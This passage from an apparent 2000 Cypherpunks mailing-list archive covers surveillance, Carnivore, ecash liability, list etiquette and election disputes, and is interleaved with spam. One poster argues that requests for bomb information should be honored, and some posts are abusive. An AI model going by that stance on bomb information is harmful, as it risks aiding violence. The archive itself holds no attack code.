think we're a worthwhile provocateur target. - Cypherpunks sending Hidden Stego Messages in the b*mb requests :-) - Variations on the "subscribe the cypherpunks list to lots of spam" guys. I suspect it's mainly the second group. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From baptista at pccf.net Wed Nov 29 12:14:25 2000 From: baptista at pccf.net (Joe Baptista) Date: Wed, 29 Nov 2000 15:14:25 -0500 (EST) Subject: CDR: Re: bell does usenet In-Reply-To: <02b85c993bf456260cd8e2ca7f62511e@mixmaster.ceti.pl> Message-ID: On Wed, 29 Nov 2000, Anonymous Remailer wrote: > smear job (inadvertant or otherwise -- Ive had my own problems with > Wired reporters misquoting me in order to "add color" to their > reporting). Still, publicizing a system for assassinating political just add color to your statements. which see: http://www.internetnews.com/wd-news/article/0,,10_364761,00.html regards joe -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From notify at egroups.com Wed Nov 29 07:16:16 2000 From: notify at egroups.com (eGroups Notification) Date: 29 Nov 2000 15:16:16 -0000 Subject: CDR: Lost password Message-ID: <975510976.7843@egroups.com> Hello, Thanks for using eGroups, home to free, easy, email groups. We have received your request for information about a forgotten password. * If you requested this notice and still don't remember your password, please follow these steps to create a new password: 1. In your web browser, go to: http://www.egroups.com/lostpassword?user=cypherpunks at toad.com 2. Enter this reauthorization number: 68947 3. You will be asked to create a new permanent password. Your new password cannot be the reauthorization number. * If you did not request this notice, please ignore this message. Your eGroups account and current password have not been affected and you can continue using our free service as usual. If you believe someone is attempting to misuse your email account, please forward this message to egroups-abuse at yahoo-inc.com. Regards, eGroups Customer Support From alan at clueserver.org Wed Nov 29 15:56:03 2000 From: alan at clueserver.org (Alan Olsen) Date: Wed, 29 Nov 2000 15:56:03 -0800 (PST) Subject: CDR: Re: Bomb info and the terminally stupid (was: Survey meters) In-Reply-To: Message-ID: On Wed, 29 Nov 2000, Jim Choate wrote: > On Wed, 29 Nov 2000, Bill Stewart wrote: > > > - Cops, clueless or otherwise, trolling for business. > > Some of them may just be looking for kiddies, or some may actually > > think we're a worthwhile provocateur target. > > Simply asking for and receiving bomb info is not a crime. However, if you > were to say carry on a private conversation or help provide parts with > such a person then the whole game changes; conspiracy. Where you'd fuck up > in this situation would be in carrying on any sort of private email > exchange outside of 'go the hell away punk'. > > It's also no big deal to buy such books at the local bookstore. Whoever said that law enforcement officials actually had a clue as to what the law said anyways? All you have to do it get an emotional issue like "bombs" or "kid porn" (or anything else that gets the average person's brain to stop thinking rationally) and add "the Internet" to it and you have a "means-of-promotion" case for some publicity seaking DA. Then, when it gets let go because of lack of illegality, you have yet another group of publicity hounds screaming "There Ought To Be A Law!". The press will report it because it is emotional and it scares people. (That is what local and national news ratings are based on.) It will then be repeated with the next case when the previous one fails to get the proper emotional support. People are easily lead into tirrany when they allow themselves to be lead by people exploiting their emotions and their hatred of others. alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From rah at shipwright.com Wed Nov 29 12:56:33 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 29 Nov 2000 15:56:33 -0500 Subject: CDR: [e-gold-list] ecash news Message-ID: --- begin forwarded text From honig at sprynet.com Wed Nov 29 12:57:06 2000 From: honig at sprynet.com (David Honig) Date: Wed, 29 Nov 2000 15:57:06 -0500 Subject: CDR: Re: Authenticate the "adult field", go to jail... In-Reply-To: <200011291817.KAA27950@cyberpass.net> Message-ID: <3.0.6.32.20001129125509.00817290@pop.sprynet.com> At 02:41 PM 11/29/00 -0500, obvious at beta.freedom.net wrote: >In fact if anything this kind of prosecution is an argument *against* >getting into the ecash/ecredential business, especially if it is focused >on porn as some have proposed. All you need is for someone to use it >to sell or authorize access to kiddie porn, and you're going to jail. > >Obvious. Great way to entrap, too. Switch content, then bang. Some kind of 'common-carrier' protection would be helpful to those providing generic services like credit card validation. If the folks being charged made the case that they didn't know some of the content was 'tainted', they should get off. You'd have to show that they were guilty of thoughtcrime themselves. [This completely avoids the bogosity of the case, given that noone is harmed ---that these are just bits being sent, not people being harmed.] From r11102 at discounts-direct.com Wed Nov 29 15:57:23 2000 From: r11102 at discounts-direct.com (AfricanAmericanBibles.com) Date: Wed, 29 Nov 2000 15:57:23 Subject: CDR: FREE SHIPPING of The African American Bible Message-ID: <46.86613.141118@discounts-direct.com> This is the Bible every African American family should have. Now you can have one for your family to cherish for many years to come. For a limited time Planet Jubilee Inc. is offering free shipping for The African American Jubilee Edition Bible. See and learn God's word through the unique perspective of the African American experience. This unique Bible includes the Old and New Testaments as well as 284 richly illustrated pages of the history of African Americans, the history of the Black Church in America as well as the presence of Africans in the Bible. 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If you believe you received this message in error or do not wish to receive any more mailings from Planet Jubilee please reply to this message and type "REMOVE" in the subject area and your name will be deleted from all our future mailings. ****************************************************************** From honig at sprynet.com Wed Nov 29 12:57:36 2000 From: honig at sprynet.com (David Honig) Date: Wed, 29 Nov 2000 15:57:36 -0500 Subject: CDR: Arthur Anderson black-bagged, NIPC now spooking Message-ID: <3.0.6.32.20001129123906.00818210@pop.sprynet.com> "Arthur Andersen's office in Vilnius has reportedly fallen victim to electronic surveillance operations. Following the discovery of suspicious equiptment in the office, Andersen called on the Lithuanian authorities to open an investigation into what it views as a case of economic espionage. Another firm highly active in the region, J. Kabasinka & Partners, is said to have also been subjected to similar surveillance" Intelligence Newsletter 12 Oct 2000 p3 indigo-net.com [no affil.] Also a notes that FBI now training NIPC in Carnivore use. "Previously the FBI had sworn NIPC was not engaged in law enforcement surveillance." p 5 same issue. Will scan sources for John's library. From rah at shipwright.com Wed Nov 29 13:08:26 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 29 Nov 2000 16:08:26 -0500 Subject: CDR: Re: Authenticate the "adult field", go to jail... Message-ID: I'm sure Mr. Obvious meant to say the following publically. Frankly, I give up. Go read Brands and Chaum, though I bet you'd dispute them, as well, on what I just said. Yes, I do believe that, given small enough bearer cash transactions, authentication of things like the "adult" bit will be sold, and for cash. Finally, a payment system is, by definition, morality-neutral, or at least orthogonal. Biblical imprecations of money being the root of all evil aside... Cheers, RAH --- begin forwarded text From auto105391 at hushmail.com Wed Nov 29 13:08:48 2000 From: auto105391 at hushmail.com (auto105391 at hushmail.com) Date: Wed, 29 Nov 2000 16:08:48 -0500 (EST) Subject: CDR: re: Imagine Message-ID: <200011292358.PAA22089@user7.hushmail.com> I guess you realize this is satire, but lets be accurate! 1. W won't actually be declared the winner until January 6th. Until then, he is therefore self-declared. 2. That's democracy as in "the absence of hereditary or arbitrary class distinctions or privilege," and having some say in how the republic is governed. The Electoral College was in part created to safeguard the powers of the smaller colonies. If America hadn't already been parceled up into colonies, it is doubtful that they would have come up with the Electoral College. 3. The "fact" that votes were not counted previously (when there was a clear winner) is not germain (what do the damn Germans have to do with this?) to the question of who in this case received the most votes. The number of ballots needed to say this is disputed is a small fraction of those 1% of ballots that a machine could not read. These are ballots that a republican "mob" are attempting to reject from the count. So basically, you're saying that people who most likely vote republican but can't follow instructions should be counted, but people who most likely vote democrat but can't follow instructions should not? 4. One would think that the appropriate credentials for designing a ballot would be human factors training, not party affiliation. It was probably crystal clear to them what the ballot said. I'm sure math teachers can read each others tests, but that doesn't really address whether the test is fair for the students. Again, past results which were not scrutinized hardly constitute a valid argument as to the effectiveness of the ballot. Remembering which hole you punched is not related to how you decided which hole to punch. 5. Is it not true that minorities turned out in record numbers and most of them voted democrat? If all else fails, call them a commie! Do the words "ad hominem" come to mind? 6. Are you saying the state police are commies? 7. Again the original statement is true. The margin of victory was less than the margin of error. And yet someone declared themself the winner. Any hand recounts performed (and some were not performed, others stopped) were in full view of republican operatives. 8. Again the original statement is true. Of course the result of two machine counts jibe, it would be really scary if it didn't. If you're going declare a winner based on the machine count, and the machine count has an error rate greater than the difference, it is a tie. A more accurate count requires a more accurate machine (i.e. a human). If you can document a case of tampering, I suggest you take it to the appropriate authorities. 9. Which part is false? 10. Again which part is false? You simply changed the subject. I'm sure Newt or Delay are very interested in bridging the gulf with Clinton! This Nixon thing amuses me. Nixon arguably lost the popular vote, was behind in electoral votes, and disputing Illinois would have brought him that much closer to winning. In this case, Bush lost the popular (not as arguably) vote, and without Florida is losing in electoral votes. Who should have conceded? Ashcroft conceded for political reasons, not for the country. While it is probably important to some people in Missouri, most of the country doesn't know who Missouri's senators are. He would have been contesting a grieving widow and the memory of a the Govenor. >From one misguided minion to another From ravage at EINSTEIN.ssz.com Wed Nov 29 14:18:23 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 16:18:23 -0600 (CST) Subject: CDR: Re: Authenticate the "adult field", go to jail... In-Reply-To: <3.0.6.32.20001129125509.00817290@pop.sprynet.com> Message-ID: On Wed, 29 Nov 2000, David Honig wrote: > Some kind of 'common-carrier' protection would be helpful > to those providing generic services like credit card validation. Actually it wouldn't because to get 'common carrier' you've got to open yourself up to other sorts of government regulation and such. It would add an over-head to the business that it doesn't need. What we need is respect for the 1st (where is 'common carrier' in the Constitution anyway?). ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ulf at fitug.de Wed Nov 29 13:25:02 2000 From: ulf at fitug.de (=?iso-8859-1?Q?Ulf_M=F6ller?=) Date: Wed, 29 Nov 2000 16:25:02 -0500 Subject: CDR: Re: ecash, cut & choose and private credentials (Re: Jim Bell) In-Reply-To: <200011290450.XAA01454@cypherspace.org>; from adam@cypherspace.org on Tue, Nov 28, 2000 at 11:50:43PM -0500 References: <200011290341.WAA01102@cypherspace.org> <200011290450.XAA01454@cypherspace.org> Message-ID: <20001129162502.A2303@rho.invalid> On Tue, Nov 28, 2000 at 11:50:43PM -0500, Adam Back wrote: > I was going to read about visa cash -- but more fscking shockwave -- > the frontpage is shockwave no less so you get zip information out of > them. I already showed it to Adam, but in case anybody else was wondering: There is not in fact any information on that web site, other than a bombastic animated "under construction" sign and an e-mail address. From ravage at EINSTEIN.ssz.com Wed Nov 29 14:26:43 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 16:26:43 -0600 (CST) Subject: CDR: Re: Arthur Anderson black-bagged, NIPC now spooking In-Reply-To: Message-ID: On Wed, 29 Nov 2000, Tim May wrote: > (BTW, there is little discussion of the commercial espionage aspects > of Carnivore. I know that Intel must be thrilled at the prospect that > a Carnivore box attached to some node that their traffic flows > through will suck up all of _Intel's_ traffic. With luck, it will > convince companies like Intel and Microsoft to much more widely > deploy crypto for communications which might be intercepted by > Carnivores.) Carnivore is a toy compared to other commercial tools already out there. Look at the products from MuTek for example, their 'black box' technology was done for the CIA. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Wed Nov 29 14:30:14 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 16:30:14 -0600 (CST) Subject: CDR: Re: CNN.com - U.S. Supreme Court strikes down drug roadblocks - November 28, 2000 In-Reply-To: <3A253940.E0E0D7FE@sunder.net> Message-ID: From ravage at EINSTEIN.ssz.com Wed Nov 29 14:32:54 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 16:32:54 -0600 (CST) Subject: CDR: Re: Authenticate the "adult field", go to jail... In-Reply-To: Message-ID: On Wed, 29 Nov 2000, R. A. Hettinga wrote: > exchange, of course, for cash :-), the authenticator of those credentials > has no idea *who* is asking for that proof of age. This is identical to the public key management problem, and is just as unsolved. Hand waving. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tcmay at got.net Wed Nov 29 13:44:44 2000 From: tcmay at got.net (Tim May) Date: Wed, 29 Nov 2000 16:44:44 -0500 Subject: CDR: Re: Authenticate the "adult field", go to jail... In-Reply-To: <3.0.6.32.20001129125509.00817290@pop.sprynet.com> References: <3.0.6.32.20001129125509.00817290@pop.sprynet.com> Message-ID: At 3:57 PM -0500 11/29/00, David Honig wrote: >At 02:41 PM 11/29/00 -0500, obvious at beta.freedom.net wrote: >>In fact if anything this kind of prosecution is an argument *against* >>getting into the ecash/ecredential business, especially if it is focused >>on porn as some have proposed. All you need is for someone to use it >>to sell or authorize access to kiddie porn, and you're going to jail. >> >>Obvious. > >Great way to entrap, too. Switch content, then bang. > >Some kind of 'common-carrier' protection would be helpful >to those providing generic services like credit card validation. The actual credit card companies have never, that I know of, been implicated in any of the Net porn cases (I don't mean "child porn," I mean the various cases we have heard about over the past dozen years, a la "Amateur Action'). This may say that they have a good team of lawyers and that local DAs like to cherry-pick their cases to go after less well-lawyered targets. Or it may say that there is an element of scienter involved. >If the folks being charged made the case that they didn't know some >of the content was 'tainted', they should get off. You'd have to >show that they were guilty of thoughtcrime themselves. Scienter, i.e., knowledge. On the other hand, "ignorance of the law is no excuse." Note that hotel operators are not held to be co-criminals when their hotel rooms are used for drug-dealing, prostitution (*), planning of crimes, etc. (* Unless the hotel and/or its managers were knowingly involved, as is sometimes the case with hotels. But, still, if a murder or theft or whatever happens in a hotel room, the hotel owner is seldom charged.) There should be similar inkeeper's exemptions for ISPs and payment intermediaries. There are many examples where credit card companies are used in transactions which turn out to be illegal. So? And the issue is not really whether the CC company "knows" what is being bought. If I buy a gun with a CC number, and it turns out this was an illegal transaction, and the CC company clearly knew that a purchase was of a gun, does this implicate them? How about CC numbers being used at flea markets, where a substantial portion of the goods being hawked are stolen? Or pirated (CDs)? The notion of arresting those who act as financial intermediaries should be tested in the courts. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From tcmay at got.net Wed Nov 29 13:52:49 2000 From: tcmay at got.net (Tim May) Date: Wed, 29 Nov 2000 16:52:49 -0500 Subject: CDR: Re: Arthur Anderson black-bagged, NIPC now spooking In-Reply-To: <3.0.6.32.20001129123906.00818210@pop.sprynet.com> References: <3.0.6.32.20001129123906.00818210@pop.sprynet.com> Message-ID: At 3:57 PM -0500 11/29/00, David Honig wrote: >"Arthur Andersen's office in Vilnius has reportedly >fallen victim to electronic surveillance operations. >Following the discovery of suspicious equiptment in >the office, Andersen called on the Lithuanian authorities >to open an investigation into what it views as a case of >economic espionage. Another firm highly active in the region, >J. Kabasinka & Partners, is said to have also been subjected to similar >surveillance" > >Intelligence Newsletter 12 Oct 2000 p3 indigo-net.com [no affil.] > >Also a notes that FBI now training NIPC in Carnivore use. "Previously >the FBI had sworn NIPC was not engaged in law enforcement surveillance." >p 5 same issue. I don't know what "NIPC" means, but I thought at first you meant that NIPC was in Lithuania. Perhaps not. But the point is still interesting: recall that Louis Freeh and the other spook chiefs were making much about sending teams over to Russia, Ukraine, Georgia, Lithuania, etc. to teach them the essentials of creating a _modern_ police state. No doubt Carnivore is being deployed outside the U.S., and without a _fraction_ of the public discussiong being seen here. (BTW, there is little discussion of the commercial espionage aspects of Carnivore. I know that Intel must be thrilled at the prospect that a Carnivore box attached to some node that their traffic flows through will suck up all of _Intel's_ traffic. With luck, it will convince companies like Intel and Microsoft to much more widely deploy crypto for communications which might be intercepted by Carnivores.) --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From ravage at EINSTEIN.ssz.com Wed Nov 29 14:57:24 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 16:57:24 -0600 (CST) Subject: CDR: Sunders point on copyright infringement & HTML Message-ID: Sunder raises a good point about Netscape (and potentially other software as well) amd forwarding URL's with attached content. Why is the page attached? Because Netscape attaches the page and doesn't offer a way to send only the URL from right click -> send page. There isn't a switch to set default behaviour (and there should be). So, if you got a bitch about your copyright being infringed, take it to Netscape since they wrote the program without a mechanism that prevents users from committing copyright infringement. Of course this opens a perfect opportunity for LEA's to justify setting at least some basic programming guidelines that we'd all have to comply with... As to using HTML, this is 2000 (soon to be 2001). Get used to it. Hell, I might start embedding ANSI VT100 color codes and the occassional ^g. Animated ANSI would be pretty cool too. If I get the time I might even install TurBoard and MGE under an emulation and start including NAPLPS graphics while I'm at it. I don't have words to express the frustration I have with straight ASCII text and doing technical work at times (but that's another issue). ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Wed Nov 29 15:01:32 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 17:01:32 -0600 (CST) Subject: CDR: Re: Lost password In-Reply-To: Message-ID: From scogan at scogan.yi.org Wed Nov 29 14:04:04 2000 From: scogan at scogan.yi.org (scogan at scogan.yi.org) Date: Wed, 29 Nov 2000 17:04:04 -0500 Subject: CDR: Re: Vinge In-Reply-To: <975475106.3a2491a296fb2@webmail.cotse.com>; from brflgnk@cotse.com on Wed, Nov 29, 2000 at 00:18:26 -0500 References: <4.3.2.7.2.20001128231650.00ab75a0@pop3.idt.net> <975475106.3a2491a296fb2@webmail.cotse.com> Message-ID: <20001129170404.A1796@scogan.yi.org> On Wed, 29 Nov 2000, brflgnk at cotse.com wrote: > > Quoting Tim May : > > > Considering that the new edition of "True Names" is just about to > > appear, > > and has a bunch of related essays in it, I certainly wouldn't have paid > > $25 > > for the pb. > > Any idea when? Amazon's had me on backorder for 15 months. Check your local used book stores, I've found several copies of Vinge's "True Names" at the McKays in my town. In fact, get in touch with me and I'll see about sending you one.... scogan From fromus at mindspring.com Wed Nov 29 17:09:55 2000 From: fromus at mindspring.com (shop.From-us) Date: Wed, 29 Nov 2000 17:09:55 -0800 Subject: CDR: Save 15% plus FREE SHIPPING Message-ID: <200011300113.RAA02719@toad.com> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 5036 bytes Desc: not available URL: From ravage at EINSTEIN.ssz.com Wed Nov 29 15:15:46 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 17:15:46 -0600 (CST) Subject: CDR: Re: CNN.com - U.S. Supreme Court strikes down drug roadblocks In-Reply-To: <3.0.6.32.20001129143323.00814b60@pop.sprynet.com> Message-ID: On Wed, 29 Nov 2000, David Honig wrote: > As I download this drek at 28.8K I *do* support any call for serious Buy a decent fucking modem and dump that dinosaur. At 28.8k we're looking at less than 1m to d/l a 100k file. Big fucking time sink, especially when considering the total amount of mail one probably receives. If you're sitting there watching your mail d/l then you're bitching cause you got too much time on your hands. This list is about advancing technology and you bunch want to stay at 1980's sorts of handling technology simply because some small percentage of folks aren't willing to upgrade to current tech. It's their choice, it's their cross, it's their loss. You'r a bunch of self-absorbed self-important whinners. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From honig at sprynet.com Wed Nov 29 14:26:20 2000 From: honig at sprynet.com (David Honig) Date: Wed, 29 Nov 2000 17:26:20 -0500 Subject: CDR: Re: Authenticate the "adult field", go to jail... In-Reply-To: <200011292052.MAA10878@cyberpass.net> Message-ID: <3.0.6.32.20001129141204.00794d70@pop.sprynet.com> At 04:07 PM 11/29/00 -0500, obvious at beta.freedom.net wrote: >It's completely uneconomical until we >have a worldwide ecash infrastructure. If that's what you had in mind, >shut up for ten years and speak up when you have something relevant >to say. You don't "shut up" in a futurist forum like this simply because of the present primitive state of implementation/deployment. Anoncash is not for our lifetimes, but our childrens'. If the rate of deployment bothers you, write some code and a biz model. From honig at sprynet.com Wed Nov 29 14:26:21 2000 From: honig at sprynet.com (David Honig) Date: Wed, 29 Nov 2000 17:26:21 -0500 Subject: CDR: Re: Arthur Anderson black-bagged, NIPC now spooking In-Reply-To: References: <3.0.6.32.20001129123906.00818210@pop.sprynet.com> Message-ID: <3.0.6.32.20001129142436.00810990@pop.sprynet.com> At 04:52 PM 11/29/00 -0500, Tim May wrote: >At 3:57 PM -0500 11/29/00, David Honig wrote: >>"Arthur Andersen's office in Vilnius has reportedly >>fallen victim to electronic surveillance operations. >> >>Also a notes that FBI now training NIPC in Carnivore use. "Previously >>the FBI had sworn NIPC was not engaged in law enforcement surveillance." >>p 5 same issue. > >I don't know what "NIPC" means, but I thought at first you meant that >NIPC was in Lithuania. Perhaps not. Um, was it unreasonable to assume that readers of dis here forum would recognize Nat'l Infrastruct. Protection Center (in the context of FBI)? TimSim 2.01 indicates you should have recognized the acronym. Do I need a service pack :-) update on that? From ravage at ssz.com Wed Nov 29 15:29:59 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 17:29:59 -0600 (CST) Subject: CDR: Re: Lost password In-Reply-To: <20001129102849.C10845@slack.lne.com> Message-ID: From ravage at EINSTEIN.ssz.com Wed Nov 29 15:33:18 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 17:33:18 -0600 (CST) Subject: CDR: Re: bell does usenet In-Reply-To: <02b85c993bf456260cd8e2ca7f62511e@mixmaster.ceti.pl> Message-ID: On Wed, 29 Nov 2000, Anonymous Remailer wrote: > crime" -- according to one study by a university law school, up to 70 > of the people convicted of crimes are actually innocent, and were > agencies. He is an ex-con, for cryin out loud, whenever a law is > broken, the law comes looking at ex-cons first cause theyre the most > likely cause of a law being broken. Its not paranoid to notice this, You're probably a lawyer with reasoning like this. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Wed Nov 29 15:38:44 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 17:38:44 -0600 (CST) Subject: CDR: Bomb info and the terminally stupid (was: Survey meters) In-Reply-To: <3.0.5.32.20001129150935.009cb6a0@idiom.com> Message-ID: On Wed, 29 Nov 2000, Bill Stewart wrote: > - Cops, clueless or otherwise, trolling for business. > Some of them may just be looking for kiddies, or some may actually > think we're a worthwhile provocateur target. Simply asking for and receiving bomb info is not a crime. However, if you were to say carry on a private conversation or help provide parts with such a person then the whole game changes; conspiracy. Where you'd fuck up in this situation would be in carrying on any sort of private email exchange outside of 'go the hell away punk'. It's also no big deal to buy such books at the local bookstore. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From fl9 at unbounded.com Wed Nov 29 17:42:02 2000 From: fl9 at unbounded.com (Free web tools) Date: Wed, 29 Nov 2000 17:42:02 Subject: CDR: Get your own free links site for free Message-ID: <200011292244.OAA28214@toad.com> Hi, You are invited to get your own free links page for free at: http://jp.internations.net/freebies8/fl1.html or http://www.mb10free.com/freebies911/fl1.html or http://63.82.144.35/totalfree/fl1.html Thank You! To be removed from our list just click the link below then click send. mailto:fl1remove at unbounded.com?Subject=remove ########################################################### Please report any internet abuse to: compliancecontrol at unbounded.com From fl9 at unbounded.com Wed Nov 29 17:42:02 2000 From: fl9 at unbounded.com (Free web tools) Date: Wed, 29 Nov 2000 17:42:02 Subject: CDR: Get your own free links site for free Message-ID: <200011292246.OAA21320@cyberpass.net> Hi, You are invited to get your own free links page for free at: http://jp.internations.net/freebies8/fl1.html or http://www.mb10free.com/freebies911/fl1.html or http://63.82.144.35/totalfree/fl1.html Thank You! To be removed from our list just click the link below then click send. mailto:fl1remove at unbounded.com?Subject=remove ########################################################### Please report any internet abuse to: compliancecontrol at unbounded.com From nat at mulle-kybernetik.com Wed Nov 29 08:44:38 2000 From: nat at mulle-kybernetik.com (Nat!) Date: Wed, 29 Nov 2000 17:44:38 +0100 Subject: Mulle kybernetiK releases the MulleCipher Cryptography Framework Message-ID: ...to an unsuspecting audience. Get it at http://www.mulle-kybernetik.com/software/MulleCipher This is a small Framework that contains CRC32, MD5, SHA1, Blowfish and Twofish implentations. It's just the source and it should compile/work on Mac OS X and Mac OS X Server w/o problems. It will probably not work out of the box for Intel machinery, but should eventually with some some minor tweaking. Enjoy Nat! P.S. Feedback, Patches, Bug reports encouraged _______________________________________________ MacOSX-dev mailing list MacOSX-dev at omnigroup.com http://www.omnigroup.com/mailman/listinfo/macosx-dev --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From honig at sprynet.com Wed Nov 29 14:53:32 2000 From: honig at sprynet.com (David Honig) Date: Wed, 29 Nov 2000 17:53:32 -0500 Subject: CDR: Re: CNN.com - U.S. Supreme Court strikes down drug roadblocks In-Reply-To: <3A253940.E0E0D7FE@sunder.net> References: <3A2401FB.E9B3C0A0@dev.tivoli.com> Message-ID: <3.0.6.32.20001129143323.00814b60@pop.sprynet.com> At 05:12 PM 11/29/00 -0500, sunder wrote: >Jim, rather than sending this 63K email with a copyright violation, why don't you just send us the above URL with NO attachments? > >It's not like you haven't been asked before. It's not like you can claim, "Oh, I didn't know." It's not like most of us can't >access web pages. There is something to be gained by duplicating what could be ephemeral content, e.g., for archives. As I download this drek at 28.8K I *do* support any call for serious editing, on general principles of signal vs. noise. 63K of *relevant* copy isn't too onerous, but should not be abused. My $.02 From ptrei at rsasecurity.com Wed Nov 29 14:53:46 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Wed, 29 Nov 2000 17:53:46 -0500 Subject: CDR: RE: CNN.com - U.S. Supreme Court strikes down drug roadblocks - November 28, 2000 Message-ID: > Jim Choate wrote: > On Wed, 29 Nov 2000, sunder wrote: >[Please don't post 64k of html when a URL would do] > > This is such a fucking waste of space and time. Why are you so hard > headed? > > I never learned to say 'baaah' and I feel no obligation to satisfy your > desires or wants. I certainly feel no desire to live my life according to > your ethics. If it really bothers you see a shrink. > > Just another wannbe tyrant. > > The Armadillo Group ,::////;::-. James Choate > No, just a reasonable man asking you not to piss where we drink. Jim, you're being a jerk. When I post long texts, I post only the text, even if I have to pull the page source into emacs to do so. If appropriate, I post the URL instead. This is common courtesy. As you say, it's an open list. No one can actually stop you from being a jerk except yourself. However, as your jerk index increases, people gradually pay less and less attention to you. It hurts your reputation, which is the closest thing to gold you possess in an online form such as this. There's a difference between (1) being a sheep, and (2) acting with consideration; a difference which appears to be too subtle for you. Peter Trei Disclaimer: It's just my opinion, OK? From ravage at EINSTEIN.ssz.com Wed Nov 29 16:10:00 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 18:10:00 -0600 (CST) Subject: CDR: Re: Bomb info and the terminally stupid (was: Survey meters) In-Reply-To: Message-ID: On Wed, 29 Nov 2000, Alan Olsen wrote: > Whoever said that law enforcement officials actually had a clue as to what > the law said anyways? All you have to do it get an emotional issue like > "bombs" or "kid porn" (or anything else that gets the average person's > brain to stop thinking rationally) and add "the Internet" to it and you > have a "means-of-promotion" case for some publicity seaking DA. Then, > when it gets let go because of lack of illegality, you have yet another > group of publicity hounds screaming "There Ought To Be A Law!". The press > will report it because it is emotional and it scares people. (That is > what local and national news ratings are based on.) It will then be > repeated with the next case when the previous one fails to get the proper > emotional support. > > People are easily lead into tirrany when they allow themselves to be lead > by people exploiting their emotions and their hatred of others. Which is only one more reason to honor the requests for bomb info (never mind the 1st or 2nd). There are no angels among men. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Wed Nov 29 16:27:01 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 29 Nov 2000 18:27:01 -0600 (CST) Subject: CDR: Re: Authenticate the "adult field", go to jail... In-Reply-To: <200011292340.SAA15518@domains.invweb.net> Message-ID: On Wed, 29 Nov 2000 obvious at beta.freedom.net wrote: > The point is, RAH claimed that selling adult verification services using > bearer credentials would be safe because, get this, the porn merchants > would pay the verification service using anonymous ecash! Ok, so we've moved the problem of how to turn that number sitting on your PDA into real cash, retaining full anonymity. This is the real heart of the key management issue: It's worth noting that the 'value' of the trust involved in a transaction is inversely proportional to the number of parties involved (at least in the general case). The reason is the concept of 